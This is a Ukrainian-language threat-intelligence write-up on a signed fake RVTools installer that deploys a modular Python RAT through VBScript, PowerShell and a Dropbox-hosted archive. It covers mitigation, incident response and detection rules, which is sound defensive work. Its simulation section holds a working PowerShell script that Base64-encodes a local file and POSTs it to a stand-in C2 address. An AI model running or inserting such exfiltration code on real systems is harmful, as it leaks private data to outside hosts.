RVTools Маскарад: Як підписаний фальшивий установник розгортає модульний Python RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Зловмисний MSI інсталятор, підписаний дійсним сертифікатом, видає себе за утиліту RVTools, яка використовується адміністраторами VMware. Після запуску інсталятор залишає VBScript, який запускає PowerShell для завантаження великого архіву ZIP з Dropbox. Цей архів містить портативне середовище Python, яке запускає багаторівневий RAT, здатний проводити розвідку, забезпечувати стійкість і комунікацію з жорстко закодованими серверами команд і контролю.
Розслідування
Аналіз відcлідкував MSI до спеціальної дії VBScript, Binary.MyScript.vbs, яка декодувала заплутану команду PowerShell. Та команда завантажувала winp.zip навантеження в %APPDATA%, витягала компоненти та скрипти Python, такі як collector.py and Pmanager.py, а потім забезпечувала стійкість через ключі реєстру Run і заплановане завдання після перезавантаження. Дослідники також виявили, що RAT шифрував зібрані дані за допомогою RC4 і передавав сигнал на п’ять фіксованих IP-адрес через п’ятихвилинні інтервали.
Мітигація
Організації повинні забезпечити сувору перевірку підпису коду з активними перевірками OCSP або CRL, блокувати виконання недовірених MSI та контролювати підозрілі дії VBScript, вбудовані в інсталяторні пакети. Захисники також повинні запобігати автоматичному виконанню завантажених скриптів, слідкувати за новими записами в Run-кей і створенням запланованих завдань та реагувати на вихідний трафік до незнайомих жорстко закодованих IP адрес.
Відповідь
Якщо виявлено цю активність, негайно ізолюйте постраждалий кінцевий пристрій, зберіть MSI, файли VBScript та вилучене навантаження для криміналістичного аналізу, та видаліть всі артефакти стійкості, включаючи ключ Run і заплановане завдання. Виявлені IP адреси команд і контролю повинні бути заблоковані на брандмауері, а також потрібно провести ширший аудит облікових даних та активності в Active Directory, щоб визначити, чи була здійснена бічна перехідна атака.
Потік атаки
Виявлення
LOLBAS WScript / CScript (через process_creation)
Перегляд
Виконання Python з підозрілих каталогів (через cmdline)
Перегляд
Можливість виконання через приховані командні рядки PowerShell (через cmdline)
Перегляд
Архів був розпакований в підозрілий каталог, використовуючи Powershell (через powershell)
Перегляд
Можливі запити DNS субдоменів API Dropbox, ініційовані не легітимними процесами (через dns_query)
Перегляд
Індикатори компрометації (HashSha256) для виявлення: Маскування RVTools: Як підписаний фальшивий інсталятор розгортає модульний Python RAT
Перегляд
Індикатори компрометації (HashMd5) для виявлення: Маскування RVTools: Як підписаний фальшивий інсталятор розгортає модульний Python RAT
Перегляд
Виявлення витоку даних через жорстко закодовані IP та HTTP POST [З’єднання мережі Windows]
Перегляд
Виявлення прихованого виконання зловмисного PowerShell та Invoke-WebRequest [Windows PowerShell]
Перегляд
Підозрілий фальшивий інсталятор RVTools, що розгортає Python RAT [Створення процесу Windows]
Перегляд
Симуляція виконання
Передумова: Перевірка телеметрії та базових умов перед запуском має пройти.
Мотив: У цьому розділі описується точне виконання методики противника (TTP), розробленої для запуску правила виявлення. Команди та наратив повинні безпосередньо відображати ідентифіковані TTP і прагнути генерувати точну телеметрію, очікувану логікою виявлення.
-
Атака:
Супротивник, який вже знаходиться в положенні на машині жертви, вирішує ексфільтрувати невеликий обсяг даних (наприклад,C:Tempsecret.txt). Щоб не викликати загальних сповіщень вихідного трафіку, актор використовує однорядкову команду PowerShell , яка виконує HTTP POST безпосередньо до одного з жорстко закодованих IP C2 (192.0.2.10). Команду заплановано через Windows заплановане завдання , щоб забезпечити стійкість (T1546.013). Жодні додаткові бінарні файли не скидаються, зберігаючи активність «живучи з сторонніх». -
Сценарій регресійного тестування:
# ------------------------------------------------- # PowerShell скрипт – Витік даних через жорсткозакодований IP # ------------------------------------------------- $c2Ip = "192.0.2.10" $c2Port = 80 $uri = "http://$c2Ip/exfil" $file = "C:Tempsecret.txt" # Переконайтесь, що файл існує (створіть тестові дані для тесту) if (-Not (Test-Path $file)) { "sensitive data $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII } # Читання вмісту файлу та його кодування в Base64 $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file)) # Виконання HTTP POST $body = @{ data = $payload } try { Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10 Write-Host "Спроба ексфільтрації відправлена на $c2Ip" } catch { Write-Error "Ексфільтрація не вдалася: $_" } -
Команди очищення:
# Видаліть тестовий файл Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue # Видаліть будь-яке заплановане завдання, створене для тестування (якщо існує) $taskName = "DataExfilTask" if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false }